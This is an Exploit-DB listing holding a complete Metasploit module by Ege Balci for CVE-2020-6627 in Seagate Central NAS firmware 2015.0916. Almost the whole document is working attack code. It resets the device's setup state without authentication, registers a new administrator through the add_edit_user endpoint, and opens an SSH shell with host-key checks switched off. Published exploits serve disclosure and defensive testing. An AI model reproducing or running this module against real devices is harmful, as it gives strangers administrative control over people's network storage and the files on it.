Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit)

EDB-ID:

51487


Author:

Ege Balci

Type:

remote


Platform:

Hardware

Date:

2023-05-25


##
# Exploit Title: Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit)
# Date: Dec 9 2019
# Exploit Author: Ege Balci
# Vendor Homepage: https://www.seagate.com/de/de/support/external-hard-drives/network-storage/seagate-central/
# Version: 2015.0916
# CVE : 2020-6627

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/http'
require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Seagate Central External NAS Arbitrary User Creation",
      'Description'    => %q{
        This module exploits the broken access control vulnerability in Seagate Central External NAS Storage device.
        Subject product suffers several critical vulnerabilities such as broken access control. It makes it possible to change the device state
        and register a new admin user which is capable of SSH access.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Ege Balcı <egebalci@pm.me>' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://pentest.blog/advisory-seagate-central-storage-remote-code-execution/'],
          ['CVE', '2020-6627']
        ],
      'DefaultOptions'  =>
        {
          'SSL' => false,
          'WfsDelay' => 5,
        },
      'Platform'       => ['unix'],
      'Arch'           => [ARCH_CMD],
      'Payload'        =>
      {
        'Compat' => {
          'PayloadType'    => 'cmd_interact',
          'ConnectionType' => 'find'
        }
      },
      'Targets'        =>
        [
          ['Auto',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD
            }
          ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Dec 9 2019",
      'DefaultTarget'  => 0
    ))


    register_options(
      [
        OptString.new('USER', [ true, 'Seagate Central SSH user', '']),
        OptString.new('PASS', [ true, 'Seagate Central SSH user password', ''])
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )

  end

  def check
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path,"/index.php/Start/get_firmware"),
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      }
    },60)

    if res && res.body.include?('Cirrus NAS') && res.body.include?('2015.0916')
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit

    # First get current state
    first_state=get_state()
    if first_state
      print_status("Current device state: #{first_state['state']}")
    else
      return
    end

    if first_state['state'] != 'start'
      # Set new start state
      first_state['state'] = 'start'
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path,'/index.php/Start/set_start_info'),
        'ctype' => 'application/x-www-form-urlencoded',
        'data'  => "info=#{first_state.to_json}"
      },60)

      changed_state=get_state()
      if changed_state && changed_state['state'] == 'start'
        print_good("State successfully changed !")
      else
        print_error("Could not change device state")
        return
      end
    end

    name = Rex::Text.rand_name_male
    user = datastore['USER'] || "#{Rex::Text.rand_name_male}{rand(1..9999).to_s}"
    pass = datastore['PASS'] || Rex::Text.rand_text_alpha(8)

    print_status('Creating new admin user...')
    print_status("User: #{user}")
    print_status("Pass: #{pass}")

    # Add new admin user
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path,"/index.php/Start/add_edit_user"),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {user: JSON.dump({user: user, fullname: name, pwd: pass, email: "#{name}@localhost", isAdmin: true, uid: -1}), action: 1}
    },60)


    conn = do_login(user,pass)
    if conn
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
      handler(conn.lsock)
    end

  end



  def do_login(user, pass)
    factory = ssh_socket_factory
    opts = {
      :auth_methods    => ['password', 'keyboard-interactive'],
      :port            => 22,
      :use_agent       => false,
      :config          => false,
      :password        => pass,
      :proxy           => factory,
      :non_interactive => true,
      :verify_host_key => :never
    }

    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, user, opts)
      end
    rescue Rex::ConnectionError
      fail_with Failure::Unreachable, 'Connection failed'
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      ssh = nil
      return conn
    end

    return nil
  end

  def get_state
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path,"/index.php/Start/json_get_start_info"),
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      }
    },60)

    if res && (res.code == 200 ||res.code == 100)
      return res.get_json_document
    end
    res = nil
  end
end